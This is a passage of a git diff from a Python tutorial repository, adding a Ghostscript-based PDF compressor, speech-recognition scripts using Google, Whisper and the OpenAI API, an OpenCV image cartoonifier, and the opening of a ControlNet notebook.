is wrong + else: + self.clicked_cell.is_correct_guess = False + self.clicked_cell.guesses = [0 for x in range(9)] + self.lives -= 1 + self.clicked_num_below = None + self.making_move = False + else: + self.clicked_num_below = None + + + def _puzzle_solved(self): + check = None + for cell in self.table_cells: + if cell.value == self.answers[cell.col][cell.row]: + check = True + else: + check = False + break + return check + + + def update(self): + [cell.update(self.screen, self.SRN) for cell in self.table_cells] + + [num.update(self.screen) for num in self.num_choices] + + self._draw_grid() + self._draw_buttons() + + if self._puzzle_solved() or self.lives == 0: + self.clock.stop_timer() + self.game_over = True + else: + self.clock.update_timer() + + self.screen.blit(self.clock.display_timer(), (WIDTH // self.SRN,HEIGHT + CELL_SIZE[1])) \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/README.md b/handling-pdf-files/pdf-compressor/README.md index 4527174c..307f105c 100644 --- a/handling-pdf-files/pdf-compressor/README.md +++ b/handling-pdf-files/pdf-compressor/README.md @@ -1,8 +1,48 @@ # [How to Compress PDF Files in Python](https://www.thepythoncode.com/article/compress-pdf-files-in-python) -To run this: -- `pip3 install -r requirements.txt` -- To compress `bert-paper.pdf` file: - ``` - $ python pdf_compressor.py bert-paper.pdf bert-paper-min.pdf - ``` - This will spawn a new compressed PDF file under the name `bert-paper-min.pdf`. + +This directory contains two approaches: + +- Legacy (commercial): `pdf_compressor.py` uses PDFTron/PDFNet. PDFNet now requires a license key and the old pip package is not freely available, so this may not work without a license. +- Recommended (open source): `pdf_compressor_ghostscript.py` uses Ghostscript to compress PDFs. + +## Ghostscript method (recommended) + +Prerequisite: Install Ghostscript + +- macOS (Homebrew): + - `brew install ghostscript` +- Ubuntu/Debian: + - `sudo apt-get update && sudo apt-get install -y ghostscript` +- Windows: + - Download and install from https://ghostscript.com/releases/ + - Ensure `gswin64c.exe` (or `gswin32c.exe`) is in your PATH. + +No Python packages are required for this method, only Ghostscript. + +### Usage + +To compress `bert-paper.pdf` into `bert-paper-min.pdf` with default quality (`power=2`): + +``` +python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf +``` + +Optional quality level `[power]` controls compression/quality tradeoff (maps to Ghostscript `-dPDFSETTINGS`): + +- 0 = `/screen` (smallest, lowest quality) +- 1 = `/ebook` (good quality) +- 2 = `/printer` (high quality) [default] +- 3 = `/prepress` (very high quality) +- 4 = `/default` (Ghostscript default) + +Example: + +``` +python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf 1 +``` + +In testing, `bert-paper.pdf` (~757 KB) compressed to ~407 KB with `power=1`. + +## Legacy PDFNet method (requires license) + +If you have a valid license and the PDFNet SDK installed, you can use the original `pdf_compressor.py` script. Note that the previously referenced `PDFNetPython3` pip package is not freely available and may not install via pip. Refer to the vendor's documentation for installation and licensing. \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py new file mode 100644 index 00000000..88de4062 --- /dev/null +++ b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py @@ -0,0 +1,103 @@ +import os +import sys +import subprocess +import shutil + + +def get_size_format(b, factor=1024, suffix="B"): + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + + +def find_ghostscript_executable(): + candidates = [ + shutil.which('gs'), + shutil.which('gswin64c'), + shutil.which('gswin32c'), + ] + for c in candidates: + if c: + return c + return None + + +def compress_file(input_file: str, output_file: str, power: int = 2): + """Compress PDF using Ghostscript. + + power: + 0 -> /screen (lowest quality, highest compression) + 1 -> /ebook (good quality) + 2 -> /printer (high quality) [default] + 3 -> /prepress (very high quality) + 4 -> /default (Ghostscript default) + """ + if not os.path.exists(input_file): + raise FileNotFoundError(f"Input file not found: {input_file}") + if not output_file: + output_file = input_file + + initial_size = os.path.getsize(input_file) + + gs = find_ghostscript_executable() + if not gs: + raise RuntimeError( + "Ghostscript not found. Install it and ensure 'gs' (Linux/macOS) " + "or 'gswin64c'/'gswin32c' (Windows) is in PATH." + ) + + settings_map = { + 0: '/screen', + 1: '/ebook', + 2: '/printer', + 3: '/prepress', + 4: '/default', + } + pdfsettings = settings_map.get(power, '/printer') + + cmd = [ + gs, + '-sDEVICE=pdfwrite', + '-dCompatibilityLevel=1.4', + f'-dPDFSETTINGS={pdfsettings}', + '-dNOPAUSE', + '-dBATCH', + '-dQUIET', + f'-sOutputFile={output_file}', + input_file, + ] + + try: + subprocess.run(cmd, check=True) + except subprocess.CalledProcessError as e: + print(f"Ghostscript failed: {e}") + return False + + compressed_size = os.path.getsize(output_file) + ratio = 1 - (compressed_size / initial_size) + summary = { + "Input File": input_file, + "Initial Size": get_size_format(initial_size), + "Output File": output_file, + "Compressed Size": get_size_format(compressed_size), + "Compression Ratio": f"{ratio:.3%}", + } + + print("## Summary ########################################################") + for k, v in summary.items(): + print(f"{k}: {v}") + print("###################################################################") + return True + + +if __name__ == '__main__': + if len(sys.argv) < 3: + print("Usage: python pdf_compressor_ghostscript.py [power 0-4]") + sys.exit(1) + input_file = sys.argv[1] + output_file = sys.argv[2] + power = int(sys.argv[3]) if len(sys.argv) > 3 else 2 + ok = compress_file(input_file, output_file, power) + sys.exit(0 if ok else 2) \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/requirements.txt b/handling-pdf-files/pdf-compressor/requirements.txt index 0a664a86..9f6e5337 100644 --- a/handling-pdf-files/pdf-compressor/requirements.txt +++ b/handling-pdf-files/pdf-compressor/requirements.txt @@ -1 +1,7 @@ -PDFNetPython3==8.1.0 \ No newline at end of file +# No Python dependencies required for Ghostscript-based compressor. +# System dependency: Ghostscript +# - macOS: brew install ghostscript +# - Debian: sudo apt-get install -y ghostscript +# - Windows: https://ghostscript.com/releases/ +# +# The legacy script (pdf_compressor.py) depends on PDFNet (commercial) and a license key. \ No newline at end of file diff --git a/images/codingfleet-banner-2.png b/images/codingfleet-banner-2.png new file mode 100644 index 00000000..e95c4d27 Binary files /dev/null and b/images/codingfleet-banner-2.png differ diff --git a/images/codingfleet-banner-3.png b/images/codingfleet-banner-3.png new file mode 100644 index 00000000..9f27495e Binary files /dev/null and b/images/codingfleet-banner-3.png differ diff --git a/images/iproyal-1.png b/images/iproyal-1.png new file mode 100644 index 00000000..9e607e13 Binary files /dev/null and b/images/iproyal-1.png differ diff --git a/machine-learning/asr/7601-291468-0006.wav b/machine-learning/asr/7601-291468-0006.wav new file mode 100644 index 00000000..0f6d5f83 Binary files /dev/null and b/machine-learning/asr/7601-291468-0006.wav differ diff --git a/machine-learning/asr/OSR_us_000_0060_8k.wav b/machine-learning/asr/OSR_us_000_0060_8k.wav new file mode 100644 index 00000000..e08c027e Binary files /dev/null and b/machine-learning/asr/OSR_us_000_0060_8k.wav differ diff --git a/machine-learning/asr/README.md b/machine-learning/asr/README.md new file mode 100644 index 00000000..b3f973bf --- /dev/null +++ b/machine-learning/asr/README.md @@ -0,0 +1 @@ +# [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python) \ No newline at end of file diff --git a/machine-learning/asr/arabic-audio.wav b/machine-learning/asr/arabic-audio.wav new file mode 100644 index 00000000..e20c35a4 Binary files /dev/null and b/machine-learning/asr/arabic-audio.wav differ diff --git a/machine-learning/asr/cual-es-la-fecha-cumple.mp3 b/machine-learning/asr/cual-es-la-fecha-cumple.mp3 new file mode 100644 index 00000000..2ab59991 Binary files /dev/null and b/machine-learning/asr/cual-es-la-fecha-cumple.mp3 differ diff --git a/machine-learning/asr/requirements.txt b/machine-learning/asr/requirements.txt new file mode 100644 index 00000000..c9d74b1c --- /dev/null +++ b/machine-learning/asr/requirements.txt @@ -0,0 +1,8 @@ +transformers==4.28.1 +soundfile +sentencepiece +torchaudio +pydub +openai +SpeechRecognition +pyaudio \ No newline at end of file diff --git a/machine-learning/asr/speechrecognition.py b/machine-learning/asr/speechrecognition.py new file mode 100644 index 00000000..e9f09883 --- /dev/null +++ b/machine-learning/asr/speechrecognition.py @@ -0,0 +1,105 @@ +# importing libraries +import speech_recognition as sr +import os +from pydub import AudioSegment +from pydub.silence import split_on_silence + +# create a speech recognition object +r = sr.Recognizer() + +# a function to recognize speech in the audio file +# so that we don't repeat ourselves in in other functions +def transcribe_audio(path): + # use the audio file as the audio source + with sr.AudioFile(path) as source: + audio_listened = r.record(source) + # try converting it to text + text = r.recognize_google(audio_listened) + return text + +# a function that splits the audio file into chunks on silence +# and applies speech recognition +def get_large_audio_transcription_on_silence(path): + """ + Splitting the large audio file into chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split audio sound where silence is 700 miliseconds or more and get chunks + chunks = split_on_silence(sound, + # experiment with this value for your target audio file + min_silence_len = 500, + # adjust this per requirement + silence_thresh = sound.dBFS-14, + # keep the silence for 1 second, adjustable as well + keep_silence=500, + ) + folder_name = "audio-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + with sr.AudioFile(chunk_filename) as source: + audio_listened = r.record(source) + # try converting it to text + try: + text = r.recognize_google(audio_listened) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """ + Splitting the large audio file into fixed interval chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + with sr.AudioFile(chunk_filename) as source: + audio_listened = r.record(source) + # try converting it to text + try: + text = r.recognize_google(audio_listened) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + +if __name__ == "__main__": + print(get_large_audio_transcription_on_silence("7601-291468-0006.wav")) \ No newline at end of file diff --git a/machine-learning/asr/transformers_whisper.py b/machine-learning/asr/transformers_whisper.py new file mode 100644 index 00000000..df8b2736 --- /dev/null +++ b/machine-learning/asr/transformers_whisper.py @@ -0,0 +1,63 @@ +from transformers import WhisperProcessor, WhisperForConditionalGeneration +import torch +import torchaudio + +device = "cuda:0" if torch.cuda.is_available() else "cpu" +# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB +# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB +# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB +# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB +whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB +# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB +# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB +# whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB +# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB + +# load the model and the processor +whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name) +whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device) + +def load_audio(audio_path): + """Load the audio file & convert to 16,000 sampling rate""" + # load our wav file + speech, sr = torchaudio.load(audio_path) + resampler = torchaudio.transforms.Resample(sr, 16000) + speech = resampler(speech) + return speech.squeeze() + + +def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True): + # resample from whatever the audio sampling rate to 16000 + speech = load_audio(audio_path) + # get the input features from the audio file + input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features.to(device) + # get the forced decoder ids + forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe") + # print(forced_decoder_ids) + # generate the transcription + predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids) + # decode the predicted ids + transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0] + return transcription + + +if __name__ == "__main__": + english_transcription = get_transcription_whisper("7601-291468-0006.wav", + whisper_model, + whisper_processor, + language="english", + skip_special_tokens=True) + print("English transcription:", english_transcription) + arabic_transcription = get_transcription_whisper("arabic-audio.wav", + whisper_model, + whisper_processor, + language="arabic", + skip_special_tokens=True) + print("Arabic transcription:", arabic_transcription) + spanish_transcription = get_transcription_whisper("cual-es-la-fecha-cumple.mp3", + whisper_model, + whisper_processor, + language="spanish", + skip_special_tokens=True) + print("Spanish transcription:", spanish_transcription) + \ No newline at end of file diff --git a/machine-learning/asr/transformers_whisper_long.py b/machine-learning/asr/transformers_whisper_long.py new file mode 100644 index 00000000..1f7916c8 --- /dev/null +++ b/machine-learning/asr/transformers_whisper_long.py @@ -0,0 +1,44 @@ + +from transformers import pipeline +import torch +import torchaudio + +device = "cuda:0" if torch.cuda.is_available() else "cpu" +# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB +# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB +# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB +# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB +whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB +# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB +# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB +# whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB +# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB + +def load_audio(audio_path): + """Load the audio file & convert to 16,000 sampling rate""" + # load our wav file + speech, sr = torchaudio.load(audio_path) + resampler = torchaudio.transforms.Resample(sr, 16000) + speech = resampler(speech) + return speech.squeeze() + + +def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, + chunk_length_s=10, stride_length_s=1): + """Get the transcription of a long audio file using the Whisper model""" + return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps, + chunk_length_s=chunk_length_s, stride_length_s=stride_length_s) + + +if __name__ == "__main__": + # initialize the pipeline + pipe = pipeline("automatic-speech-recognition", + model=whisper_model_name, device=device) + # get the transcription of a sample long audio file + output = get_long_transcription_whisper( + "7601-291468-0006.wav", pipe, chunk_length_s=10, stride_length_s=2) + print(f"Transcription: {output}") + print("="*50) + for chunk in output["chunks"]: + # print the timestamp and the text + print(chunk["timestamp"], ":", chunk["text"]) \ No newline at end of file diff --git a/machine-learning/asr/whisper_api.py b/machine-learning/asr/whisper_api.py new file mode 100644 index 00000000..8187277d --- /dev/null +++ b/machine-learning/asr/whisper_api.py @@ -0,0 +1,16 @@ +import openai + +# API key +openai.api_key = "" + +def get_openai_api_transcription(audio_filename): + # open the audio file + with open(audio_filename, "rb") as audio_file: + # transcribe the audio file + transcription = openai.Audio.transcribe("whisper-1", audio_file) # whisper-1 is the model name + return transcription + + +if __name__ == "__main__": + transcription = get_openai_api_transcription("7601-291468-0006.wav") + print(transcription.get("text")) \ No newline at end of file diff --git a/machine-learning/asr/whisper_api_long.py b/machine-learning/asr/whisper_api_long.py new file mode 100644 index 00000000..7768749b --- /dev/null +++ b/machine-learning/asr/whisper_api_long.py @@ -0,0 +1,77 @@ +from pydub.silence import split_on_silence +from pydub import AudioSegment +from whisper_api import get_openai_api_transcription +import os + +# a function that splits the audio file into chunks +# and applies speech recognition +def get_large_audio_transcription_on_silence(path): + """ + Splitting the large audio file into chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split audio sound where silence is 700 miliseconds or more and get chunks + chunks = split_on_silence(sound, + # experiment with this value for your target audio file + min_silence_len = 500, + # adjust this per requirement + silence_thresh = sound.dBFS-14, + # keep the silence for 1 second, adjustable as well + keep_silence=500, + ) + folder_name = "audio-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + transcription = get_openai_api_transcription(chunk_filename) + print(f"{chunk_filename}: {transcription.get('text')}") + whole_text += " " + transcription.get("text") + # return the text for all chunks detected + return whole_text + + +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """ + Splitting the large audio file into 5-minute chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + transcription = get_openai_api_transcription(chunk_filename) + print(f"{chunk_filename}: {transcription.get('text')}") + whole_text += " " + transcription.get("text") + # return the text for all chunks detected + return whole_text + + + +if __name__ == "__main__": + # print("\nFull text:", get_large_audio_transcription_fixed_interval("032.mp3", minutes=1)) + print("\nFull text:", get_large_audio_transcription_on_silence("7601-291468-0006.wav")) \ No newline at end of file diff --git a/machine-learning/cartoonify-images/README.md b/machine-learning/cartoonify-images/README.md new file mode 100644 index 00000000..29d1ccd1 --- /dev/null +++ b/machine-learning/cartoonify-images/README.md @@ -0,0 +1 @@ +# [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python) \ No newline at end of file diff --git a/machine-learning/cartoonify-images/cartooned_hazrard2.jpg b/machine-learning/cartoonify-images/cartooned_hazrard2.jpg new file mode 100644 index 00000000..51166476 Binary files /dev/null and b/machine-learning/cartoonify-images/cartooned_hazrard2.jpg differ diff --git a/machine-learning/cartoonify-images/cartoonifier.py b/machine-learning/cartoonify-images/cartoonifier.py new file mode 100644 index 00000000..24bcd785 --- /dev/null +++ b/machine-learning/cartoonify-images/cartoonifier.py @@ -0,0 +1,44 @@ +import cv2, argparse, sys + + +# In this function, we accept an image and convert it to a cartoon form. +def cartoonizer(image_name): + # Load the image to cartoonize. + image_to_animate = cv2.imread(image_name) + + # Apply a bilateral filter to smoothen the image while preserving edges. + smoothened_image = cv2.bilateralFilter(image_to_animate, d=9, sigmaColor=75, sigmaSpace=75) + + # Convert image to gray and create an edge mask using adaptive thresholding. + gray_image = cv2.cvtColor(smoothened_image, cv2.COLOR_BGR2GRAY) + edges = cv2.adaptiveThreshold(gray_image, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9) + + # Combine the smoothened image and the edge mask to create a cartoon-like effect. + to_cartoon = cv2.bitwise_and(smoothened_image, smoothened_image, mask=edges) + + # Save the cartoon image in our current directory. A new Image would be generated in your current directory. + cartooned_image = f"cartooned_{image_name}" + cv2.imwrite(cartooned_image, to_cartoon) + + # Display the result. + cv2.imshow("Cartooned Image", to_cartoon) + cv2.waitKey(0) + cv2.destroyAllWindows() + + +# In this function, we accept user's argument from the terminal. -i or --image to specify the image. +def get_image_argument(): + parser = argparse.ArgumentParser(description="Please specify an image to 'cartoonify'.") + parser.add_argument('-i', '--image', help="Please use -h or --help to see usage.", dest='image') + argument = parser.parse_args() + + if not argument.image: + print("[-] Please specify an image. Use --help to see usage.") + sys.exit() # Exit the program + + return argument + + +# We get the user's input (image) from the terminal and pass it into cartoonizer function. +image_args = get_image_argument() +cartoonizer(image_args.image) diff --git a/machine-learning/cartoonify-images/hazrard2.jpg b/machine-learning/cartoonify-images/hazrard2.jpg new file mode 100644 index 00000000..ccb1dd9a Binary files /dev/null and b/machine-learning/cartoonify-images/hazrard2.jpg differ diff --git a/machine-learning/cartoonify-images/requirements.txt b/machine-learning/cartoonify-images/requirements.txt new file mode 100644 index 00000000..1db7aea1 --- /dev/null +++ b/machine-learning/cartoonify-images/requirements.txt @@ -0,0 +1 @@ +opencv-python \ No newline at end of file diff --git a/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb b/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..e2500451 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb @@ -0,0 +1,20363 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "8_55MSKhrtss", + "outputId": "44fe5aac-1542-4f19-b926-6fee990835e9" + }, + "outputs": [], + "source": [ + "!pip install -qU xformers diffusers transformers accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Xrl7OL6BrtpU", + "outputId": "9525d6ad-4af6-4a9f-98b0-6d76308fdf13" + }, + "outputs": [], + "source": [ + "!pip install -qU controlnet_aux\n", + "!pip install opencv-contrib-python" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "h6XPbq0FrPQG" + }, + "source": [ + "# Open Pose" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "0wEufS0RrObO", + "outputId": "77977e89-4b72-4a5d-b39a-801953031247" + }, + "outputs": [], + "source": [ + "from PIL import Image\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "from controlnet_aux import OpenposeDetector\n", + "from diffusers.utils import load_image\n", + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 662, + "referenced_widgets": [ + "a74467c946df4fe99fba1b2751a0cad1", + "48dabed3f2ce465ab16a704e0c6b12f7", + "810aba56f12342fcbcb7344d08235ec8", + "0dc0896c330d417a8b452d27699f86bf", + "9074425e4bf04c428926f5504cd3a8de", + "962917ac2b044e5989e88100ceb45296", + "a212be07369b404eb9f04a9cde6543d4", + "bf52593db97e4b5f876d22d5c27e8c0d", + "ed79049f4f3a41899ce7744c6733bf27", + "6fbeaf60da4746b6a1c02a211657886b", + "9d1f8ee81b994f94882d776f6e401f02", + "d14a6ce3bc334df5a2f319932fd9a338", + "05ba62113d1840c38f0bcf8f291f7439", + "117ca4fd09bb4ebeb8eae3ba5c3112f5", + "b2fad15effb84bce8aac9b9d2bf94b19", + "78493887a0f5466cbfe8dff7f5fbd801", + "5850294bc56d489cb8eb90483f77254e", + "9d2061e3643940f496528dc7ad6e6e2e", + "52403e4bc442416fac24e0880f2a3faf", + "38eb1d06f0094645944b5d305b575927", + "4e264753749d48a8aab85b9f8fe30aba", + "014e701444c54eee97d0b36ea38344ab", + "b57cb9d64aa44f748fc6cffc6f95f5a3", + "335f1c1d85ec4723b8796b79d518c7be", + "e9ef39e82cf645e396daea04a1e178f1", + "97570891602f4963bdfaacd309438ca7", + "036af165dae748a19a3691dbe74e7a1a", + "f9f461994c7e41aba3124dd5ee0b1525", + "3e7b34f2b1764dbb82caaf245771abc0", + "02f92b3266a54cc1885140f1a378d784", + "d504edae2a2f4beb851928ca770b2701", + "93d2d9e917d84072ae401952c12904bf", + "636973b7927b44bbaac28737227e7599", + "9a3d9f15c9b8495498d8910dc60d9fc0", + "aec13914c37649feb868b8f531a07a83", + "4b4b8aee32724ff5b0a40f9af956fe72", + "b3967f91f621495cb1715427fcc57011", + "d5b65c5e85704b02be5a0fa2ab7569fa", + "fd3e1648c2b84f5f81cd7ee3d2fbc4c0", + "25d1091281ad407c833a36c7e421e1e2", + "15c1713762124e828b20f54684e496d0", + "e16487cbe8d74b5baad0d41dbdeeedbb", + "d4b746bc99074570a82175ef438cfb10", + "8f92d6ba8bd04fabb8e6dddf0c7dfa44", + "352a7d961cac483a82ea16cdb77a0368", + "20285260958f4620b906e7a21f44c555", + "85caf1e9b73e46cea1ce2c4ebf92554b", + "23460450a39c44e488bce836dac8b997", + "261e963568fc4a24af694276311c3b18", + "7e03365b6d25414eb845c51aa30e3d2c", + "199a4465ee984eff971c999393c4e497", + "4332d0e942ea406daeca4e1bbd36d4cb", + "44d7b2f89c984dcda69f368adbdf846f", + "0f796401fadb4649a30effd4c66e058f", + "33ef3f5248c14c4f8dd2d4a7bf0038a9", + "64e440c8c82144beaec1e1d61cd5e9e0", + "64180e5dd63840e3bb21af7aefa3cf45", + "abb332369a9b4996b84d77eee7e5dc0a", + "e69330feb37747c5b22d4dd215f934bd", + "41cb4b504f3e45ea847e1cd74ae449d0", + "c7b630dc7b8448219ca505398c12afef", + "81f9fd794d22477f8836a11322d5325b", + "ec96bfae8c9c48e5827755ce0e8a885f", + "0c6beb3311554ae1b3bea23eadf8620d", + "cb4c90617e8e4ef08052ade1d2694589", + "6ca7d8cb9ad2472bad727eba7c993816", + "eb5ef899d10b442ca8bd3ec6c1fbf1f3", + "b6f79be711a94896ba08b0af7293cd04", + "f2ec0ba35adb4084b2ef73e4d384f6fd", + "5b6fcc006e8b47c4a416e38991201a42", + "635b3c726b5049818d8384ad992e2550", + "182d76403d844b96bd20c3a7c49b4357", + "c81fe2532ac14ae6a5411a866f8e42ac", + "9ef7b0ea4e4e46b18953056deaa6cf95", + "2d76832bc7834ef6b683ef6829f83861", + "2caabb6f82ef46ecbda6c0baf215d72a", + "f1e983f41294422087b5be9a9df11fa3", + "9b78deeeaec149339134750de6ba1fcf", + "a207168326fd45159d8eec29ea91ccac", + "425d719b752b4a1480f8c3f8b9388e50", + "8baeb11dd15840e691eadde3f79bf4f2", + "6b872da2a0944f5da6eb68792937311b", + "848755aa7d4a4889b85870aac916c5ff", + "922d64656ae0415795f9e50e79d5d5f8", + "8ff9c129cb434f9bbab238f1779c9b0b", + "7e5f077830e94e278b213ee5f11739d9", + "97348ede0e464090845a56a64a53e493", + "282f7b2aeec54a81b94da85c85c7cb75", + "9a56fa1ecaee4be3954540e95a7c8990", + "07ad70da82f04e6c8fc64ba90f114d04", + "b09e0313ea6d461e99ee9e2778639310", + "df65632706474b4d903b8f6f72438166", + "7035d48a0c874fe7b7bd20c6b03bdf85", + "83067a7d3f454087ac1de91bf17c7339", + "d2b243b82d0641bc82bcc9500059043d", + "b20aec5624874591a63b0d0f3d4daeda", + "aa79187007a448a381f604ea8b5be0ba", + "99836b0d3c5241f99260cd642081c31f", + "99c6d5162b2d41b6b3d260f4b2c99b9b", + "13ccb78b2d7141e1a982a8bea69023d5", + "99b1e953ca924df2b6bfb0f9780d2e21", + "57420a6e093c4de9845db953b8e0269b", + "22235d8e342a47059270c8732b889d68", + "6055afd2e29c42e09d5f923c34cf1579", + "8477b0d8ae344f78ba17f537e0e2448f", + "911cafa406d2409f8ac69d9c9ae0dd94", + "589f9b88c3c746dd9aead96a6ef56fee", + "4bf53145f39644d2bf5c3e31f9f23b1a", + "65de6855b9944b829c4aa77bce39009f", + "44223dcee3694e168e866af5f69aaad4", + "7a47a1e4f4ef448e83659bf90c874eda", + "61e2139115904b94967c220fd214b5df", + "846c2df4629c416baea2612ea2c84a16", + "206b5b9596ff43b68126735ad6b31929", + "25d01861ca0c45d3a5f57932d9754834", + "847b736c058c47f9adf366c4bb920a0d", + "a1b45d2ecbe44a158b7a0e2f818922ae", + "71b5693eda974ad78235b59d848304ab", + "35aa99e07e7d469ba9a46d80bb9908bb", + "e503940faf1e47bb911a62c6e5f33fa0", + "03800bb9bc894d2592b3d01036769944", + "02fe761302934b54960a8289d627d16c", + "2db8827ffa344a4a8ac5487ff2997ae0", + "c25de7e0bae0469d918bd6d3ea39211b", + "2b5e8dcb60ee4f65af5505ffa7ea3ae2", + "9b27785afb0243f5b2298cb272c510e2", + "6ba872bd45c34e6c8202cc3722dc9285", + "4d73b627ecc74bf7ad18f5effa245097", + "35bd707e26044bd1a361c2fc2c11ea29", + "ea8e9b50f98c43b58d7faccbfd6821cb", + "940a28141ae14329831b67e91ff1091a", + "f1f865efa3a6448ea9c930a1f08c50bf", + "ede9d9c5d44146849e44c3b1476299eb", + "d8424b9018444e088fe5908db8a9db12", + "f00bbbb986ed49e79560422ba4c379c8", + "108208309c4b47aa8eee3a1321fc81ed", + "d0c00b0f105741f9a155e941dd5d704f", + "16e7c873157c444bb0ca1b92e85b4701", + "4f4bfc7bd24148e6ac524b57cc6d8020", + "2a8de4ddaf4747ceb0a153851cd765ca", + "c3e33bee752849c692d00ceabd561feb", + "97dcb5d933594743aea62d09aa27d30d", + "f17e8c0187db4242af4a803aed44fde9", + "483e47a822fe43d6ae4c114bfbb8be8a", + "c905c8d69bcb404aa39ca499c96549e3", + "bd5c5827932b4dabbac38adb33544e48", + 